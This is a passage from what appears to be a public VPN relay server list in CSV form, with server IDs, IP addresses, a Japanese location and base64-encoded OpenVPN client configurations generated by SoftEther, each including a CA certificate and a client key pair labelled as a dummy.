lKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTEuMjI5Ljc3LjE3OCA5OTUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn708137912,157.65.86.192,701653,7,77336276,Japan,JP,6,82061195,19911,2077775213687,2weeks,DESKTOP-9JKVPE1's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNTcuNjUuODYuMTkyIDE3NTMNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIy